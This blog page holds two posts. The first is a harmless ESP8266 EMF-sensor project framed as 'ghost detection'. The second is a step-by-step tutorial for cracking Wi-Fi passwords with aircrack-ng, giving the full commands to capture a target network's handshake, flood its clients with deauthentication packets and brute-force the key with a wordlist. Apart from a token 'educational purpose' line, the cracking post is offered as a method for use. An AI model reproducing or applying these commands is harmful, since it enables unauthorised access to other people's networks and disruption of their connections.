Search This Blog

Showing posts with label Wi-Fi sensor. Show all posts
Showing posts with label Wi-Fi sensor. Show all posts

Sunday, 17 November 2024

Detecting EMF (Electromagnetic Fields) with NodeMCU or ESP8266: A Ghost Detection Project

Detecting EMF (Electromagnetic Fields) with NodeMCU or ESP8266: A Ghost Detection Project



Electromagnetic Field (EMF) detection is a topic of interest both in scientific and paranormal circles. In this tutorial, we'll use a NodeMCU or ESP8266 to detect EMF, which some people believe may be useful in identifying unusual activity, such as ghostly presences. We'll create a simple project that uses an EMF sensor to measure the electromagnetic environment and monitor any fluctuations that could indicate an anomaly.

What You’ll Need:

  1. NodeMCU or ESP8266: This microcontroller will be used to read sensor data and connect to the internet for data monitoring.
  2. EMF Sensor (e.g., MX-03 or similar): This sensor detects the strength of electromagnetic fields around it.
  3. Jumper wires
  4. Breadboard
  5. Power supply for NodeMCU (can be USB or external adapter)
  6. Arduino IDE: To program the NodeMCU.

Circuit Diagram:

  • NodeMCU/ESP8266 Pinout:
    • VCC of EMF sensor to 5V (NodeMCU 5V pin).
    • GND of EMF sensor to GND (NodeMCU GND pin).
    • Signal Pin of EMF sensor to A0 (Analog Pin) of the NodeMCU.

Steps for Implementation:

1. Set up the Arduino IDE:

  • Open the Arduino IDE and make sure you have the ESP8266 board selected:
    • Go to File → Preferences → Additional Boards Manager URLs and add the ESP8266 board URL if not already added: http://arduino.esp8266.com/stable/package_esp8266com_index.json
    • Then go to Tools → Board → ESP8266 Board, and select NodeMCU 1.0 or Generic ESP8266 Module.
  • Install the necessary libraries for ESP8266.

2. Connect the EMF sensor:

  • Connect the EMF sensor to the NodeMCU as described above.
  • Make sure the Signal Pin from the EMF sensor is connected to the A0 pin on the NodeMCU for analog readings.

3. Write the Code:

cpp
// EMF Detection Code for NodeMCU / ESP8266 #include <ESP8266WiFi.h> // Library for WiFi connection #include <ESP8266HTTPClient.h> // Library for HTTP requests (optional, for sending data to a web server) const char* ssid = "Your_SSID"; // Your Wi-Fi SSID const char* password = "Your_PASSWORD"; // Your Wi-Fi Password int EMF_SENSOR_PIN = A0; // Analog pin where the EMF sensor is connected int EMF_THRESHOLD = 600; // Threshold for detecting "ghostly" activity (adjust this value based on testing) int emf_value = 0; WiFiClient client; void setup() { Serial.begin(115200); // Connecting to Wi-Fi Serial.println(); Serial.print("Connecting to WiFi"); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println("Connected to WiFi!"); } void loop() { // Read the analog value from the EMF sensor emf_value = analogRead(EMF_SENSOR_PIN); // Print the sensor value to the serial monitor Serial.print("EMF Value: "); Serial.println(emf_value); // If the EMF value exceeds the threshold, alert the user (possibly ghostly activity detected!) if (emf_value > EMF_THRESHOLD) { Serial.println("Warning: High EMF detected! Possible paranormal activity."); // You can add an HTTP request to send data to a web server (for logging) // HTTPClient http; // http.begin("http://your-server.com/log"); // Replace with your server's URL // http.addHeader("Content-Type", "application/x-www-form-urlencoded"); // String payload = "emf_value=" + String(emf_value); // int httpCode = http.POST(payload); // http.end(); } else { Serial.println("EMF level is normal."); } delay(1000); // Delay for 1 second }

4. Upload and Test:

  • Upload the code to the NodeMCU via the Arduino IDE.
  • Open the Serial Monitor to view the readings from the EMF sensor.
  • Move the sensor around different areas to observe how the readings fluctuate. You may notice stronger readings near electronic devices or areas with higher ambient EMF.
  • If the sensor detects high levels of EMF (above the set threshold), it will print a warning message to the Serial Monitor.

Testing and Calibration:

  • Test the Sensor: Place the sensor in various environments, including near electronic devices, lights, or other sources of EMF. The readings should fluctuate.
  • Ghost Detection: Set a higher threshold value (EMF_THRESHOLD) to determine when an anomalous reading occurs, which you could attribute to "ghostly activity" in this fun project.

Optional Enhancements:

  • Wi-Fi Integration: Send data to an online server (using an HTTP POST request as shown in the code). You could log the data for long-term monitoring or alert notifications.
  • Mobile App: Create a simple mobile app or web page to display real-time EMF data from your NodeMCU via Wi-Fi.
  • Sound or LED Alerts: Use an LED or buzzer to create an alert when EMF levels exceed the threshold.

Conclusion:

With just a few simple components, you can build a basic EMF detection device using NodeMCU or ESP8266. While this project is a fun way to explore the intersection of technology and paranormal investigation, it's also an excellent way to learn more about analog sensors, Wi-Fi integration, and real-time data monitoring. Remember, EMF detection is often used in scientific studies, but it’s also a popular tool in ghost hunting circles.

This setup can be expanded into various other IoT projects, such as sending data to cloud platforms or creating a more detailed system for detecting environmental changes in different areas.

Wednesday, 8 May 2024

How to Crack wifi Passwords using Aircrack-ng Kali Linux

 

Hack WiFi with Aircrack-ng using linux PC.

wifi-hack · GitHub Topics · GitHub

So Welcome guys to one more intresting blog, in today's blog I will tell you how to crack Wifi Passwords in very easy and simple steps. As we All Know Kali Linux and Parrot OS are Best Operating Systems used in Pentesting, Hacking purposes. Because of Built-in tools like Aircrack-ng, Airodump, Burpsuite, etc more than 500+ tools are available to learn, and apply. But you should not try on Other's Devices, Data, Social Media Accounts, etc. Only use for Educational Purpose. So here we need some tools:

Requirements:

  • PC with installed or live Linux
  • Aircrack-ng toolkit
  • A wifi adapter with monitor mode support. (if PC's builtin wifi doesn't support monitor mode then only)

Major Steps in this Process:

  • Putting wireless into monitor mode
  • Information Gathering about a WiFi
  • Capturing Handshakes
  • Cracking Encrypted Password

Let's Start Guys !!!

 In my case, my wireless adapter is with the name wlan0. In your case, it may be different. I will show you whether my monitor mode is enabled or not. For that, we will use the ifconfig command. According to the image below, The wifi monitor mode has not started yet.

ifconfig

wlan0

In this step, we will enable monitor mode on Kali Linux. For that, we will type the following command.

airmon-ng start wlan0

Now this command will enable the monitor mode on the wifi card.

monitor mode

Many times, during wifi password hacking, we have to enable monitor mode. At this time, you can see the below image. In this image, The monitor mode has enabled.

 wlan0mon 

wlan0mon

At this stage, We will scan the surroundings wifi network. For that, we will type the following command.

airodump-ng wlan0

These commands will display all the access points in your surroundings and also the clients connected to those access points.

airodumo-ng wlan0mon
Access Point

in this step, We will capture the packets of the target wifi network.

airodump-ng -c 11 –bssid 22:FB:6F:36:7D:5C -w /root/Desktop/wifi-packet wlan0mon

In this step, we will send deauthenticate packets to the connected clients. Until our wifi handshake is captured.

aireplay-ng –deauth 1000 -a 22:FB:6F:36:7D:5C wlan0mon

At this final step, we will have to crack wifi captured packets. For that, we will use the brute-attack to crack the wifi password. Now we will use a custom wordlist. If you want to generate your custom wordlist, you can visit my youtube channel.

aircrack-ng -a2 -b 22:FB:6F:36:7D:5C -w /usr/share/wordlists/rockyou.txt wifi01.cap

In the end, we got the wifi password.

Password Found

So thanks Guys! I hope you have learned this method for cracking WiFi.

Don't Forget to Comment your Experience, So I can Improve Next Time.






how to implement YOLOv3 using Python and TensorFlow

Object Detection with YOLOv3 Introduction YOLOv3 (You Only Look Once version 3) is a real-time object detection algorithm that can detect ob...